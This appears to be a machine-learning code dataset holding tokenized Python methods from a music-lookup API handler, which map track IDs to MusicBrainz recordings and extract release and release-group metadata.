"(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params", "\\u", "class_", "=_", "Look", "up", "Handle", "r", "Params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "recordings", "\\u", "name_", "=_", "'", "recordings", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "inject", "\\u", "record", "ing", "\\u", "ids", "\\u", "internal_", "(_", "self_", ",_", "add_", "=_", "True_", ",_", "add", "\\u", "sources_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "el", "\\u", "recording_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "map_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "track", "\\u", "mbid", "\\u", "map_", "=_", "look", "up", "\\u", "mbid", "s_", "(_", "self_", "._", "conn_", ",_", "self_", "._", "el", "\\u", "result_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "track", "\\u", "id_", ",_", "mbid", "s_", "in_", "track", "\\u", "mbid", "\\u", "map_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res", "\\u", "map_", "[_", "track", "\\u", "id_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mbid", "_", ",_", "sources_", "in_", "mbid", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res", "\\u", "map_", "[_", "track", "\\u", "id_", "]_", "._", "append_", "(_", "mbid", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "add_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "result", "\\u", "el_", "in_", "self_", "._", "el", "\\u", "result_", "[_", "track", "\\u", "id_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recording_", "=_", "{_", "'", "id", "'_", ":_", "mbid", "_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "add", "\\u", "sources_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recording_", "[_", "'", "source", "s", "'_", "]_", "=_", "sources_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result", "\\u", "el_", "._", "setdefault_", "(_", "self_", "._", "recordings", "\\u", "name_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "recording_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "el", "\\u", "recording_", "._", "setdefault_", "(_", "mbid", "_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "recording_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "el", "\\u", "recording_", "._", "setdefault_", "(_", "mbid", "_", ",_", "[_", "]_", ")_", "._", "extend_", "(_", "self_", "._", "el", "\\u", "result_", "[_", "track", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "el", "\\u", "recording_", ",_", "res", "\\u", "map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "inject", "\\u", "user", "\\u", "meta", "\\u", "ids", "\\u", "internal_", "(_", "self_", ",_", "add_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "el", "\\u", "recording_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "track", "\\u", "meta", "\\u", "map_", "=_", "look", "up", "\\u", "meta", "\\u", "ids_", "(_", "self_", "._", "conn_", ",_", "self_", "._", "el", "\\u", "result_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "track", "\\u", "id_", ",_", "meta", "\\u", "ids_", "in_", "track", "\\u", "meta", "\\u", "map_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "meta", "\\u", "id_", "in_", "meta", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "add_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "result", "\\u", "el_", "in_", "self_", "._", "el", "\\u", "result_", "[_", "track", "\\u", "id_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recording_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "el_", "._", "setdefault_", "(_", "self_", "._", "recordings", "\\u", "name_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "recording_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "el", "\\u", "recording_", "._", "setdefault_", "(_", "meta", "\\u", "id_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "recording_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "el", "\\u", "recording_", "._", "setdefault_", "(_", "meta", "\\u", "id_", ",_", "[_", "]_", ")_", "._", "extend_", "(_", "self_", "._", "el", "\\u", "result_", "[_", "track", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "el", "\\u", "recording_", ",_", "track", "\\u", "meta", "\\u", "map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extract", "\\u", "recording_", "(_", "self_", ",_", "m_", ",_", "only", "\\u", "id_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "recording_", "=_", "{_", "'", "id", "'_", ":_", "m_", "[_", "'", "record", "ing", "\\u", "id", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "only", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "recording_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "recording_", "[_", "'", "title", "'_", "]_", "=_", "m_", "[_", "'", "record", "ing", "\\u", "title", "'_", "]_", "or_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", "[_", "'", "record", "ing", "\\u", "duration", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "recording_", "[_", "'", "duration", "'_", "]_", "=_", "m_", "[_", "'", "record", "ing", "\\u", "duration", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "m_", "[_", "'", "record", "ing", "\\u", "artist", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "recording_", "[_", "'", "artist", "s", "'_", "]_", "=_", "m_", "[_", "'", "record", "ing", "\\u", "artist", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "recording_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extract", "\\u", "release_", "(_", "self_", ",_", "m_", ",_", "only", "\\u", "id_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release_", "=_", "{_", "'", "id", "'_", ":_", "m_", "[_", "'", "release", "\\u", "id", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "only", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "release_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "release_", "[_", "'", "title", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "title", "'_", "]_", "or_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", "[_", "'", "release", "\\u", "medium", "\\u", "count", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release_", "[_", "'", "medium", "\\u", "count", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "medium", "\\u", "count", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "m_", "[_", "'", "release", "\\u", "track", "\\u", "count", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release_", "[_", "'", "track", "\\u", "count", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "track", "\\u", "count", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "m_", "[_", "'", "release", "\\u", "artist", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release_", "[_", "'", "artist", "s", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "artist", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "m_", "[_", "'", "release", "\\u", "events", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release_", "[_", "'", "release", "events", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rem_", "in_", "m_", "[_", "'", "release", "\\u", "events", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release", "\\u", "event_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rem_", "[_", "'", "release", "\\u", "countr", "y", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "release", "\\u", "event_", "[_", "'", "countr", "y", "'_", "]_", "=_", "rem_", "[_", "'", "release", "\\u", "countr", "y", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "date_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rem_", "[_", "'", "release", "\\u", "date", "\\u", "year", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "date_", "[_", "'", "year", "'_", "]_", "=_", "rem_", "[_", "'", "release", "\\u", "date", "\\u", "year", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "rem_", "[_", "'", "release", "\\u", "date", "\\u", "month", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "date_", "[_", "'", "month", "'_", "]_", "=_", "rem_", "[_", "'", "release", "\\u", "date", "\\u", "month", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "rem_", "[_", "'", "release", "\\u", "date", "\\u", "day", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "date_", "[_", "'", "day", "'_", "]_", "=_", "rem_", "[_", "'", "release", "\\u", "date", "\\u", "day", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "release", "\\u", "event_", "[_", "'", "date", "'_", "]_", "=_", "date_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "release_", "[_", "'", "release", "events", "'_", "]_", "._", "append_", "(_", "release", "\\u", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "release_", "._", "update_", "(_", "release_", "[_", "'", "release", "events", "'_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "release_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extract", "\\u", "release", "\\u", "group_", "(_", "self_", ",_", "m_", ",_", "only", "\\u", "id_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release", "\\u", "group_", "=_", "{_", "'", "id", "'_", ":_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "id", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "only", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "release", "\\u", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "release", "\\u", "group_", "[_", "'", "title", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "title", "'_", "]_", "or_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "primary", "\\u", "type", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release", "\\u", "group_", "[_", "'", "type", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "primary", "\\u", "type", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "second", "ary", "\\u", "types", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release", "\\u", "group_", "[_", "'", "second", "ary", "types", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "second", "ary", "\\u", "types", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "artist", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release", "\\u", "group_", "[_", "'", "artist", "s", "'_", "]_", "=_", "m_", "[_", "'", "release", "\\u", "group", "\\u", "artist", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "release", "\\u", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "inject", "\\u", "release", "\\u", "group", "s", "\\u", "internal_", "(_", "self_", ",_", "meta_", ",_", "parent_", ",_", "metadata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release", "\\u", "groups_", "=_", "self_", "._", "\\u", "group", "\\u", "release", "\\u", "groups_", "(_", "metadata_", ",_", "'", "release", "groupid", "s", "'_", "in_", "meta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "[_", "'", "release", "group", "s", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "release", "\\u", "group_", ",_", "release", "\\u", "group", "\\u", "metadata_", "in_", "release", "\\u", "groups_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "[_", "'", "release", "group", "s", "'_", "]_", "._", "append_", "(_", "release", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "release", "s", "'_", "in_", "meta_", "or_", "'", "release", "ids", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "inject", "\\u", "release", "s", "\\u", "internal_", "(_", "meta_", ",_", "release", "\\u", "group_", ",_", "release", "\\u", "group", "\\u", "metadata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "compress", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "release_", "in_", "release", "\\u", "group_", "[_", "'", "release", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "'", "artist", "s", "'_", "in_", "release_", "and_", "release_", "[_", "'", "artist", "s", "'_", "]_", "==_", "release", "\\u", "group_", "._", "get_", "(_", "'", "artist", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release_", "[_", "'", "artist", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "title", "'_", "in_", "release_", "and_", "release_", "[_", "'", "title", "'_", "]_", "==_", "release", "\\u", "group_", "._", "get_", "(_", "'", "title", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release_", "[_", "'", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "inject", "\\u", "release", "s", "\\u", "internal_", "(_", "self_", ",_", "meta_", ",_", "parent_", ",_", "metadata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "releases_", "=_", "self_", "._", "\\u", "group", "\\u", "releases_", "(_", "metadata_", ",_", "'", "release", "ids", "'_", "in_", "meta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "[_", "'", "release", "s", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "release_", ",_", "release", "\\u", "metadata_", "in_", "releases_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "[_", "'", "release", "s", "'_", "]_", "._", "append_", "(_", "release_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "tracks", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "release_", "[_", "'", "medium", "s", "'_", "]_", "=_", "list_", "(_", "self_", "._", "\\u", "group", "\\u", "tracks_", "(_", "release", "\\u", "metadata_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "compress", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "medium_", "in_", "release_", "[_", "'", "medium", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "track_", "in_", "medium_", "[_", "'", "tracks", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "'", "artist", "s", "'_", "in_", "track_", "and_", "track_", "[_", "'", "artist", "s", "'_", "]_", "==_", "release_", "._", "get_", "(_", "'", "artist", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "track_", "[_", "'", "artist", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inject", "\\u", "recordings", "_", "(_", "self_", ",_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "record", "ing", "\\u", "els_", "=_", "self_", "._", "\\u", "inject", "\\u", "record", "ing", "\\u", "ids", "\\u", "internal_", "(_", "True_", ",_", "'", "source", "s", "'_", "in_", "meta_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "load", "\\u", "releases_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "load", "\\u", "release", "\\u", "groups_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "release", "ids", "'_", "in_", "meta_", "or_", "'", "release", "s", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "\\u", "releases_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "release", "groupid", "s", "'_", "in_", "meta_", "or_", "'", "release", "group", "s", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "\\u", "releases_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "load", "\\u", "release", "\\u", "groups_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "metadata_", "=_", "look", "up", "\\u", "metadata_", "(_", "self_", "._", "conn_", ",_", "record", "ing", "\\u", "els_", "._", "keys_", "(_", ")_", ",_", "load", "\\u", "releases_", "=_", "load", "\\u", "releases_", ",_", "load", "\\u", "release", "\\u", "groups_", "=_", "load", "\\u", "release", "\\u", "groups_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "userm", "eta", "'_", "in_", "meta_", "and_", "not_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "meta", "\\u", "els_", "=_", "self_", "._", "\\u", "inject", "\\u", "user", "\\u", "meta", "\\u", "ids", "\\u", "internal_", "(_", "True_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "record", "ing", "\\u", "els_", "._", "update_", "(_", "user", "\\u", "meta", "\\u", "els_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "meta_", "=_", "look", "up", "\\u", "meta_", "(_", "self_", "._", "conn_", ",_", "user", "\\u", "meta", "\\u", "els_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata_", "._", "extend_", "(_", "user", "\\u", "meta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "recording_", ",_", "record", "ing", "\\u", "metadata_", "in_", "self_", "._", "\\u", "group", "\\u", "recordings", "_", "(_", "metadata_", ",_", "'", "record", "ing", "ids", "'_", "in_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "release", "group", "s", "'_", "in_", "meta_", "or_", "'", "release", "groupid", "s", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "inject", "\\u", "release", "\\u", "group", "s", "\\u", "internal_", "(_", "meta_", ",_", "recording_", ",_", "record", "ing", "\\u", "metadata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "compress", "'_", "in_", "meta_", ":_", 